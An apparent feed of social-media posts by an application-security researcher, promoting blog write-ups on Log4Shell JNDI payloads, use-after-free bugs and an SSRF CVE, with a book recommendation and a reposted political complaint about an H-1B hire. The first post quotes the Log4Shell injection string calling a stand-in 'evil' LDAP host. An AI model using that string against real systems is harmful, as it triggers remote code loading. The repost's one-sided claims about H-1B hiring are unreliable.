Everyone's seen ${jndi:ldap://evil/a}. Fewer people have seen what actually comes back over the wire.
I hand-rolled the javax.naming.Reference serialization, byte for byte — then round-tripped it through a real JVM and found 2 bugs my own test couldn't catch.
chs.us/2026/07/jndi-referenc…#infosec#appsec#Log4Shell#Java
It's very concerning that IU has a Software Engineering Department and that none of their graduates has the skill needed for an entry level position? I would love to see if 100% of their 2026 grads are gainfully employed.
🚨 Wow. Taxpayer-funded Indiana University just disclosed it is filling ANOTHER entry-level software engineer job with a foreigner on a H-1B visa.
Apparently ZERO Americans were qualified even though the same school has thousands of computer science graduates.
The H-1B scam needs to end
The original "Showstopper!: The breakneck race to create Windows NT and the next generation at Microsoft " from 1994 was one of those books that fundamentally changed how I think about software development.
Reading about Dave Cutler's team building Windows NT from the ground up — the engineering culture, the technical decisions under pressure, the relentless focus on architecture — that influenced how I approach development and security.
When I first read it, I was earlier in my security journey. While the book wasn't specifically about security, seeing how they thought about system design from the ground up, the importance of getting the foundation right, that was a lightbulb moment.
This new edition reminds us that great software comes from great engineering culture and disciplined architecture decisions. In security, we talk a lot about "shifting left," but really we're talking about the same thing - getting the fundamentals right from the start.
What book fundamentally changed how you approach your craft?
#ApplicationSecurity#SoftwareEngineering#BookRecommendation#Engineering
Async IO in Python: A Complete Walkthrough – Real Python
The content titled "Async IO in Python: A Complete Walkthrough" on Real Python likely provides a comprehensive guide on asyn…
realpython.com/async-io-pyth…#appsec#Python
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New post: Use-After-Free vulnerabilities — what they are, how they're exploited, and how to find them with ASan, libFuzzer, and CodeQL. Includes real CVEs from Chrome and the Linux kernel.
chs.us/2026/03/use-after-fre…#appsec#security#memorysafety
New post: CVE-2026-27696 — SSRF in changedetection.io via URL validation bypass. Default installs have no auth, and the server will happily fetch your AWS metadata endpoint. Root cause, attack scenario, and the TOCTOU problem most URL validators miss.
chs.us/2026/02/ssrf-changede…
I met @wtm_offensi years ago and so glad to see him getting a spotlight blog post. He’s a super talented researcher and overall great person to have a convo with. I highly suggest giving the blogpost a read!
“You don’t pick the bugs. The bugs pick you.”
Meet Wouter (@wtm_offensi), Microsoft MVR and Zero Day Quest 2026 qualifier, and read his security research journey: msft.it/6016QHeaC
“You don’t pick the bugs. The bugs pick you.”
Meet Wouter (@wtm_offensi), Microsoft MVR and Zero Day Quest 2026 qualifier, and read his security research journey: msft.it/6016QHeaC
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